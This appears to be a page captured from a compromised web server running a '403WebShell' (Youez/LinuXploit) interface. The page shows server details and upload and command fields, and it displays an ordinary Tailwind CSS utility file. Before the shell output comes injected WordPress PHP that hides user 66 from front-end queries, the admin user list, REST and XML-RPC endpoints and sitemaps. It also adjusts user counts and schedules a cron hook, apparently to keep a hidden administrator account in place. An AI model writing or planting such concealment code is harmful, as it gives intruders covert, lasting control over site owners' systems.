add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/futuresbattle/node_modules/tailwindcss/lib/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/futuresbattle/node_modules/tailwindcss/lib/util/math-operators.js
"use strict";
Object.defineProperty(exports, "__esModule", {
    value: true
});
function _export(target, all) {
    for(var name in all)Object.defineProperty(target, name, {
        enumerable: true,
        get: all[name]
    });
}
_export(exports, {
    hasMathFn: function() {
        return hasMathFn;
    },
    addWhitespaceAroundMathOperators: function() {
        return addWhitespaceAroundMathOperators;
    }
});
const LOWER_A = 0x61;
const LOWER_Z = 0x7a;
const UPPER_A = 0x41;
const UPPER_Z = 0x5a;
const LOWER_E = 0x65;
const UPPER_E = 0x45;
const ZERO = 0x30;
const NINE = 0x39;
const ADD = 0x2b;
const SUB = 0x2d;
const MUL = 0x2a;
const DIV = 0x2f;
const OPEN_PAREN = 0x28;
const CLOSE_PAREN = 0x29;
const COMMA = 0x2c;
const SPACE = 0x20;
const PERCENT = 0x25;
const MATH_FUNCTIONS = [
    "calc",
    "min",
    "max",
    "clamp",
    "mod",
    "rem",
    "sin",
    "cos",
    "tan",
    "asin",
    "acos",
    "atan",
    "atan2",
    "pow",
    "sqrt",
    "hypot",
    "log",
    "exp",
    "round"
];
function hasMathFn(input) {
    return input.indexOf("(") !== -1 && MATH_FUNCTIONS.some((fn)=>input.includes(`${fn}(`));
}
function addWhitespaceAroundMathOperators(input) {
    // Bail early if there are no math functions in the input
    if (!MATH_FUNCTIONS.some((fn)=>input.includes(fn))) {
        return input;
    }
    let result = "";
    let formattable = [];
    let valuePos = null;
    let lastValuePos = null;
    for(let i = 0; i < input.length; i++){
        let char = input.charCodeAt(i);
        // Track if we see a number followed by a unit, then we know for sure that
        // this is not a function call.
        if (char >= ZERO && char <= NINE) {
            valuePos = i;
        } else if (valuePos !== null && (char === PERCENT || char >= LOWER_A && char <= LOWER_Z || char >= UPPER_A && char <= UPPER_Z)) {
            valuePos = i;
        } else {
            lastValuePos = valuePos;
            valuePos = null;
        }
        // Determine if we're inside a math function
        if (char === OPEN_PAREN) {
            result += input[i];
            // Scan backwards to determine the function name. This assumes math
            // functions are named with lowercase alphanumeric characters.
            let start = i;
            for(let j = i - 1; j >= 0; j--){
                let inner = input.charCodeAt(j);
                if (inner >= ZERO && inner <= NINE) {
                    start = j // 0-9
                    ;
                } else if (inner >= LOWER_A && inner <= LOWER_Z) {
                    start = j // a-z
                    ;
                } else {
                    break;
                }
            }
            let fn = input.slice(start, i);
            // This is a known math function so start formatting
            if (MATH_FUNCTIONS.includes(fn)) {
                formattable.unshift(true);
                continue;
            } else if (formattable[0] && fn === "") {
                formattable.unshift(true);
                continue;
            }
            // This is not a known math function so don't format it
            formattable.unshift(false);
            continue;
        } else if (char === CLOSE_PAREN) {
            result += input[i];
            formattable.shift();
        } else if (char === COMMA && formattable[0]) {
            result += `, `;
            continue;
        } else if (char === SPACE && formattable[0] && result.charCodeAt(result.length - 1) === SPACE) {
            continue;
        } else if ((char === ADD || char === MUL || char === DIV || char === SUB) && formattable[0]) {
            let trimmed = result.trimEnd();
            let prev = trimmed.charCodeAt(trimmed.length - 1);
            let prevPrev = trimmed.charCodeAt(trimmed.length - 2);
            let next = input.charCodeAt(i + 1);
            // Do not add spaces for scientific notation, e.g.: `-3.4e-2`
            if ((prev === LOWER_E || prev === UPPER_E) && prevPrev >= ZERO && prevPrev <= NINE) {
                result += input[i];
                continue;
            } else if (prev === ADD || prev === MUL || prev === DIV || prev === SUB) {
                result += input[i];
                continue;
            } else if (prev === OPEN_PAREN || prev === COMMA) {
                result += input[i];
                continue;
            } else if (input.charCodeAt(i - 1) === SPACE) {
                result += `${input[i]} `;
            } else if (// Previous is a digit
            prev >= ZERO && prev <= NINE || // Next is a digit
            next >= ZERO && next <= NINE || // Previous is end of a function call (or parenthesized expression)
            prev === CLOSE_PAREN || // Next is start of a parenthesized expression
            next === OPEN_PAREN || // Next is an operator
            next === ADD || next === MUL || next === DIV || next === SUB || // Previous position was a value (+ unit)
            lastValuePos !== null && lastValuePos === i - 1) {
                result += ` ${input[i]} `;
            } else {
                result += input[i];
            }
        } else {
            result += input[i];
        }
    }
    return result;
}

Youez - 2016 - github.com/yon3zu
LinuXploit